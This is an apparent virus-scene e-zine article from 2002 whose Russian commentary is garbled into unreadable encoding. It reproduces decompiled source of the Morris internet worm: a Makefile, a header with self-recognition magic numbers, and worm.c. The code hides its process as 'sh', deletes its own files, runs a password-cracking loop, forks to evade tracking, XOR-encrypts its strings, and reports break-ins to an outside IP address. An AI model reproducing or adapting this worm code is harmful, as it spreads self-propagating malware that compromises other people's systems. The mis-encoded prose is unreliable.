
                      -=POWER HEAP RESEARCH=-
          =>ᨬ p y ᫥<=

              
                                          
                                  
                                          
                         

                            
                                    
                         
                                       
                             
                       Helloween.virus@mail.ru

                        [H  ]

                    Ŀ
                     Hp 2  2002 (p 7) 
                    


   p p᭮ ᬮp,  룫拉 ppᮢ᪨ p.
   ⠪y .        p ᯮy-
 py p sendmail... pyp...

   ⠪ 룫廊 makefile :

C_FILES = worm.c net.c hs.c cracksome.c stubs.c
H_FILES = worm.h

OFILES = worm.o net.o hs.o cracksome.o stubs.o

# Luckily, the original used no optimization
CFLAGS =
# Most sites will have to remove the "-D" -- send for our souped-up version
# of ctags becker@trantor.harris-atd.com

TAGS_FLAGS = -xDt

test: $(OFILES)
$(CC) -o test $(OFILES)
$(OFILES): worm.h

clean:
rm -f *.o *~ *.bak
tags:
ctags -xDt > tags
tar:
tar -cf foo.tar  description Makefile $(C_FILES) $(H_FILES) x8113550.c
[Worm] 197)

     worm.h :

/* Magic numbers the program uses to identify other copies of itself. */

#define REPORT_PORT 0x2c5d
#define MAGIC_1 0x00148898
#define MAGIC_2 0x00874697
extern int pleasequit;          /* This stops the program after one
                                 * complete pass if set.  It is incremented
                                 * inside of checkother if contact with another
                                 * happens. */

/* There are pieces of "stub" code, presumably from something like this to
   get rid of error messages */
#define error()

/* This appears to be a structure unique to this program.  It doesn't seem that
 * the blank slots are really an array of characters for the hostname, but
 * maybe they are.
 */
struct hst {
    char *hostname;
    int l4, l8, l12, l16, l20, l24, o28, o32, o36, o40, o44;
    int o48[6];                                 /* used */
    int flag;                                   /* used */
#define HST_HOSTEQUIV   8
#define HST_HOSTFOUR    4
#define HST_HOSTTWO     2
    struct hst *next;                           /* o76 */
};

typedef struct {
    char *name;
    unsigned long size;
    char *buf;
} object;

extern struct ifses {
    int if_l0, if_l4, if_l8, if_l12; /* unused */
    int if_l16;                 /* used */
    int if_l20;                 /* unused */
    int if_l24;                 /* used */
    short if_l28;               /* unused */
} ifs[];
extern nifs;

extern int ngateways;

extern object objects[], *getobjectbyname();
extern int nobjects;

/* Only used for a2in().  Why?  I don't know. */
struct bar {int baz;};
extern struct bar *a2in();

 Hy 筮   worm.c :

/* dover */

#include "worm.h"
#include <stdio.h>
#include <signal.h>
#include <strings.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/fcntl.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <net/if.h>
#include <arpa/inet.h>

extern errno;
extern char *malloc();

int pleasequit;                                 /* See worm.h */
int nobjects = 0;
int nextw;
char *null_auth;

object objects[69];                             /* Don't know how many... */

object *getobjectbyname();

char *XS();

main(argc, argv)                /* 0x20a0 */
     int argc;
     char **argv;
{
    int i, l8, pid_arg, j, cur_arg, unused;
    long key;                   /* -28(fp) */
    struct rlimit rl;

    l8 = 0;                                     /* Unused */

    strcpy(argv[0], XS("sh"));                  /* <env+52> */
    time(&key);
    srandom(key);
    rl.rlim_cur = 0;
    rl.rlim_max = 0;
    if (setrlimit(RLIMIT_CORE, &rl))
        ;
    signal(SIGPIPE, SIG_IGN);
    pid_arg = 0;
    cur_arg = 1;
    if  (argc > 2 &&
         strcmp(argv[cur_arg], XS("-p")) == 0) { /* env55 == "-p" */
        pid_arg = atoi(argv[2]);
        cur_arg += 2;
    }
    for(i = cur_arg; i < argc; i++) {   /* otherwise <main+286> */
        if (loadobject(argv[i]) == 0)
            exit(1);
        if (pid_arg)
            unlink(argv[i]);
    }
    if ((nobjects < 1) || (getobjectbyname(XS("l1.c")) == NULL))
        exit(1);
    if (pid_arg) {
        for(i = 0; i < 32; i++)
            close(i);
        unlink(argv[0]);
        unlink(XS("sh"));                       /* <env+63> */
        unlink(XS("/tmp/.dumb"));               /* <env+66>"/tmp/.dumb"
 */
    }

    for (i = 1; i < argc; i++)
        for (j = 0;     argv[i][j]; j++)
            argv[i][j] = '\0';
    if (if_init() == 0)
        exit(1);
    if (pid_arg) {                                      /* main+600 */
        if (pid_arg == getpgrp(getpid()))
            setpgrp(getpid(), getpid());
        kill(pid_arg, 9);
    }
    mainloop();
}

static mainloop()                               /* 0x2302 */
{
    long key, time1, time0;

    time(&key);
    srandom(key);
    time0 = key;
    if (hg() == 0 && hl() == 0)
        ha();
    checkother();
    report_breakin();
    cracksome();
    other_sleep(30);
    while (1) {
        /* Crack some passwords */
        cracksome();
        /* Change my process id */
        if (fork() > 0)
            exit(0);
        if (hg() == 0 && hi() == 0 && ha() == 0)
            hl();
        other_sleep(120);
        time(&time1);
        if (time1 - time0 >= 60*60*12)
            h_clean();
        if (pleasequit && nextw > 0)
            exit(0);
    }
}

static trans_cnt;
static char trans_buf[NCARGS];

char *XS(str1)                  /* 0x23fc */
     char *str1;
{
    int i, len;
    char *newstr;
#ifndef ENCYPHERED_STRINGS
    return str1;
#else
    len = strlen(str1);
    if (len + 1 > NCARGS - trans_cnt)
        trans_cnt = 0;
    newstr = &trans_buf[trans_cnt];
    trans_cnt += 1 + len;
    for (i = 0; str1[i]; i++)
        newstr[i] = str1[i]^0x81;
    newstr[i] = '\0';
    return newstr;
#endif
}

/* This report a sucessful breakin by sending a single byte to "128.32.137.13"
 * (whoever that is). */

static report_breakin(arg1, arg2)               /* 0x2494 */
{
    int s;
    struct sockaddr_in sin;
    char msg;

    if (7 != random() % 15)
        return;

    bzero(&sin, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = REPORT_PORT;
    sin.sin_addr.s_addr = inet_addr(XS("128.32.137.13"));
                                                /* <env+77>"128.32.137.13" */

    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
        return;
    if (sendto(s, &msg, 1, 0, &sin, sizeof(sin)))
        ;
    close(s);
}

/* End of first file in the original source.
 * (Indicated by extra zero word in text area.) */

/*
 * Local variables:
 * compile-command: "make"
 * comment-column: 48
 * End:
 */

                           /p ᫥y/